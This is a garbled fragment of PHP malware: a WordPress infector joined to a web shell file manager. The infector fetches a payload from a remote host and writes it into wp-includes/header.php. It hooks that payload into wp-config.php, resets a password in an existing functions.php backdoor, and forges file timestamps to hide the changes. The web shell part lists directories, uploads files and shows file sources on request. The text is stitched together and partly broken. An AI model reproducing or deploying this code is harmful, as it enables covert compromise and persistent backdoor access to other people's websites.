| $dir | |||
| $file |
setMaxDepth($depth); $results = []; foreach($it as $file) { if ( preg_match ( '#wp-config\.php$#', $file ) ) { $results[] = dirname(realpath($file)); } } } catch (Exception $e) { $results = []; } return $results; } function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } function findWriteableDir ($path, $depth = 3) { try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore "Permission denied" ); $it->setMaxDepth($depth); $paths = []; foreach ($it as $path => $dir) { if ($dir->isDir() && is_writable ($dir)) { $paths[] = $path; } } } catch (Exception $e) { var_dump($e); $paths = []; } return $paths; } function findThemes ($path, $depth = 1) { $di = new RecursiveDirectoryIterator($path ,RecursiveDirectoryIterator::SKIP_DOTS); $it = new RecursiveIteratorIterator($di); $it->setMaxDepth($depth); $results = []; foreach($it as $file) { if ( preg_match ( '#functions\.php$#', $file ) ) { $results[] = dirname(realpath($file)); } } return $results; } function curlget($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); curl_close($ch); return $result; } $injectUrl = "http://{$ccd}/files/inject.txt"; $codeWpConfig = "include_once(ABSPATH . WPINC . '/header.php');"; $actual_link = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; $rootDir = './'; $dots = substr_count (parse_url($actual_link)['path'], '/') - 1; $checkWord = '$algo = \'default\'; $pass ='; $pass = 'Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ=='; $ch = curl_init($injectUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $injbody = curl_exec($ch); curl_close($ch); if (strpos($injbody, "zeeta") === false) { die("injbody empty"); } for ($i=1;$i<=$dots;$i++){ $rootDir.="../"; } $rootDirRaw = $rootDir; $rootDir = realpath($rootDir); echo "RootDir: {$rootDir}\n"; $wordpressA = findWordpress ("{$rootDir}/../", 2); $wordpressB = findWordpress ("{$rootDir}/", 1); $wordpress = array_unique (array_merge ($wordpressA, $wordpressB)); print_r($wordpress); foreach($wordpress as $wp) { $wpPath = $wp; echo $wpPath ."\n"; if ( is_writable ( "{$wpPath}/wp-includes") ) { echo "wp-includes writable\n"; $lastMtime = filemtime ("{$wpPath}/wp-includes"); file_put_contents("{$wpPath}/wp-includes/header.php", $injbody); touch("{$wpPath}/wp-includes/header.php", $lastMtime); touch("{$wpPath}/wp-includes", $lastMtime); $lastMtime = filemtime ("{$wpPath}/wp-config.php" ) + rand(1, 1000); $wpConfig = file_get_contents("{$wpPath}/wp-config.php"); if (!strpos($wpConfig, $codeWpConfig) !== false) { $wpConfig = preg_replace('#wp-settings\.php[\'"]{1}\s?\)?;#', "$0\n{$codeWpConfig}\n", $wpConfig, 1); file_put_contents("{$wpPath}/wp-config.php", $wpConfig); } else{ echo "wpconfig skipped\n"; } $functionsFile = file_get_contents("{$wpPath}/wp-includes/functions.php"); $functionsFileMtime = filemtime ("{$wpPath}/wp-includes/functions.php"); if (strpos($functionsFile, $checkWord) !== false) { echo "functions.php pass found\n"; if (strpos($functionsFile, $pass) !== false) { echo "functions.php good pass, skipped\n"; } else{ $functionsFile = preg_replace('#pass = "[^"]*"#', 'pass = "' . $pass . '"', $functionsFile); echo "functions.php pass replaced\n"; file_put_contents("{$wpPath}/wp-includes/functions.php.old", $functionsFile); rename("{$wpPath}/wp-includes/functions.php.old", "{$wpPath}/wp-includes/functions.php"); touch("{$wpPath}/wp-includes/functions.php", $functionsFileMtime); } } touch ("{$wpPath}/wp-config.php", $lastMtime); }else{ echo "wp-includes non-writable\n"; } $themes = findThemes ("{$wpPath}/wp-content/themes"); print_r($themes); $inject = $injbody; $inject = str_replace_first('
| Current Path: '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo ' |
| Raw Path: ' . $path . ' |
| ';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo 'File Upload Done. '; }else{ echo 'File Upload Error. '; } } echo ' '.php_uname().' '; echo ' |
| Current File : "; echo $_GET['filesrc']; echo ' |
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).''); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
| $dir | |||
| $file |